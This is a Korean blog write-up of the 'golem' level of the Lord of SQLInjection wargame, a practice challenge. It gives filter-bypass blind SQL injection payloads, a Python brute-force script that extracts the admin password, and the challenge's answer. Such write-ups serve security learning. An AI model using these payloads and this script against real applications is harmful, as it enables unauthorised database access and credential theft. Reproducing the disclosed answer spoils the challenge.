ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOS] golem
    Wargame/Lord of SQLInjection 2019. 7. 5. 01:53

    [golem] https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php

    admin의 pw를 알아내는 Blind SQL Injection 문제이다.

    or, and, substr(, =이 필터링되어 있다.

     

    [ = 우회 ]
    like, between

    [ substr 우회 ]
    right, left, mid

     

    우선 쿼리문을 참으로 만들어주었을때 페이지에 어떤 값이 출력되는지 보았다.

     

    ?pw='||true%23

    쿼리문이 참이면 'Hello guest'가 출력된다.

    admin의 pw를 찾아야 하기 때문에 'Hello admin'이 출력되게 해서 찾아야 한다.

     

    ?pw='||id like 'admin'%26%26true%23

    이제 true가 되면 Hello admin이 출력된다.

    이를 이용하여 Blind SQL Injection을 시도할 수 있을 것이다.

     

    1. pw 길이
    ?pw' || id like 'admin'%26%26length(pw) like n%23
    ?pw' || id like 'admin'%26%26length(pw) < n%23

    2. pw 값
    ?pw' || id like 'admin'%26%26pw like 'a%
    ?pw=' || id like 'admin'%26%26right(left(pw, n), 1) like '[0 - 9], [a - z]
    ?pw=' || id like 'admin'%26%26mid(pw, n, 1) like '[0 - 9], [a - z]
    ?pw=' || id like 'admin'%26%26ascii(right(left(pw, n), 1)) like 97%23
    ?pw=' || id like 'admin'%26%26ascii(mid(pw, n, 1)) like 97%23

     

    python을 이용하여 pw를 찾아보았다.

     

    [ 소스 코드 ]

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
      
    import requests
    
    headers = {'Cookie': 'PHPSESSID=dkbulkcv0mngs04ordrl47hgd3;'}
    url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
    string = "1234567890abcdefghijklmnopqrstuvwxyz"
    
    pw = ''
    len = 1
    
    while True:
    	data = "?pw=' || id like 'admin'%26%26length(pw) < " + str(len) + "%23"
    	r = requests.get(url + data, headers = headers)
    	if r.text.find('Hello admin') != -1 :
    		break
    	len += 1
    print "[+] Get Password Length : ",len - 1
    
    for i in range(1, len):
    	for j in string:
    		data = "?pw=' || id like 'admin'%26%26pw like '" + pw + j + "%"
    		r = requests.get(url + data, headers = headers)
    		if r.text.find('Hello admin') != -1 :
    			pw = pw + j
    			print "[*] Finding ... : ", pw
    			break
    	
    print "[+] Found Password : ", pw

    [ 실행 결과 ]

     

    pw : 77d6290b

     

    ?pw=77d6290b

     

    'Wargame > Lord of SQLInjection' 카테고리의 다른 글

    [LOS] bugbear  (0) 2019.07.05
    [LOS] darkknight  (0) 2019.07.05
    [LOS] skeleton  (0) 2019.07.05
    [LOS] vampire  (0) 2019.07.05
    [LOS] troll  (0) 2019.07.05

    댓글

@Jo Grini's Blog